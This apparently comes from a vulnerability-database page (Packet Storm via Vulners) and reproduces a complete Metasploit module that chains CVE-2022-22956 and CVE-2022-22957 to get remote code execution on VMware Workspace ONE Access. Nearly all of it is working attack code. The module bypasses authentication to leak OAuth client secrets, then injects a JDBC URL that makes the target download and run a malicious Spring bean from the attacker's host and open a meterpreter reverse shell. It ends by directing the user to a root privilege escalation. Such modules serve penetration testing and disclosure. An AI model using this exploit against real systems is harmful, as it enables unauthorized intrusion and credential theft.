Lucene search
K

Mware Workspace ONE Remote Code Execution

🗓️ 18 Apr 2023 00:00:00Reported by mr_me, jheysel-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 397 Views

This module exploits two vulnerabilities, CVE-2022-22956 and CVE-2022-22957 in VMware Workspace ONE Access to achieve remote code execution as the 'horizon' user

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
class InvalidRequest < StandardError  
end  
  
class InvalidResponse < StandardError  
end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',  
'Description' => %q{  
This module combines two vulnerabilities in order achieve remote code execution in the context of the  
`horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in  
OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the  
authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC  
injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker  
to deserialize arbitrary Java objects which can allow remote code execution.  
},  
'Author' => [  
'mr_me', # Discovery & PoC  
'jheysel-r7' # Metasploit Module  
],  
'References' => [  
['CVE', '2022-22956'],  
['CVE', '2022-22957'],  
['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],  
['URL', 'https://github.com/sourceincite/hekate/'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']  
],  
'DisclosureDate' => '2022-04-06',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => %i[curl wget],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Payload' => {  
'BadChars' => "\x22"  
},  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'LPORT' => 5555  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
end  
  
# The VMware products affected do no expose any version information to unauthenticated users.  
# Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were  
# patched in the following VMware update: https://kb.vmware.com/s/article/88099  
def check  
@token = get_authentication_token  
Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')  
rescue InvalidRequest, InvalidResponse => e  
return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")  
end  
  
# Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).  
#  
# Return the authentication token  
def get_authentication_token  
oauth_client = ['Service__OAuth2Client', 'acs'].sample  
res_activation_token = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),  
'method' => 'POST'  
})  
  
unless res_activation_token  
raise InvalidRequest, 'No response from the server when requesting an activation token'  
end  
  
unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'  
raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"  
end  
  
activation_token = res_activation_token.get_json_document['activationToken']  
  
res_client_info = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),  
'method' => 'POST',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'data' => activation_token  
})  
  
unless res_client_info  
raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'  
end  
  
unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'  
raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"  
end  
  
json_client_info = res_client_info.get_json_document  
client_id = json_client_info['client_id']  
client_secret = json_client_info['client_secret']  
  
print_good("Leaked client_id: #{client_id}")  
print_good("Leaked client_secret: #{client_secret}")  
post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"  
  
res_access_token = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),  
'method' => 'POST',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'data' => post_data  
})  
  
unless res_access_token  
raise InvalidRequest, 'No response from the server when requesting the access token'  
end  
  
unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']  
raise InvalidResponse, 'Invalid response from the server when requesting the access token'  
end  
  
res_access_token.get_json_document['access_token']  
end  
  
# Serve the files for the target machine to download.  
# If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.  
# If the request doesn't in .xml the victim is requesting the linux dropper payload.  
def on_request_uri(cli, request)  
vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")  
if request.to_s.include?('.xml')  
vprint_status('Sending XML response: ')  
send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })  
vprint_status('Response sent')  
else  
vprint_status('Sending PAYLOAD: ')  
send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })  
end  
end  
  
# Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim  
#  
# Returns an XML document containing the payload.  
def generate_payload_xml(cmd)  
bean = ''  
builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)  
builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do  
builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do  
builder.constructor do  
builder.list do  
builder.value('/bin/sh')  
builder.value('-c')  
builder.value(cmd)  
end  
end  
end  
end  
  
bean.gsub!('constructor', 'constructor-arg')  
vprint_status(bean)  
bean  
end  
  
# Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.  
def trigger_jdbc_rce(jwt, sub_cmd)  
# jdbc_uri = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"  
jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),  
'method' => 'POST',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'Connection' => 'keep-alive',  
'cookie' => "HZN=#{jwt}",  
'data' => jdbc_uri  
})  
  
fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res  
fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'  
end  
  
def execute_command(cmd, opts = {})  
vprint_status("Executing the following command: #{cmd}")  
@payload_xml = generate_payload_xml(cmd)  
trigger_jdbc_rce(opts[:jwt], cmd)  
end  
  
# Instruct the user to exploit CVE-2022-22960  
def on_new_session(_client)  
print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')  
end  
  
def exploit  
unless @token  
begin  
@token = get_authentication_token  
rescue InvalidRequest => e  
fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")  
rescue InvalidResponse => e  
fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")  
end  
end  
  
@payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'  
start_service('Path' => "/#{@payload_name}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded, { jwt: @token })  
when :linux_dropper  
execute_cmdstager({ jwt: @token })  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation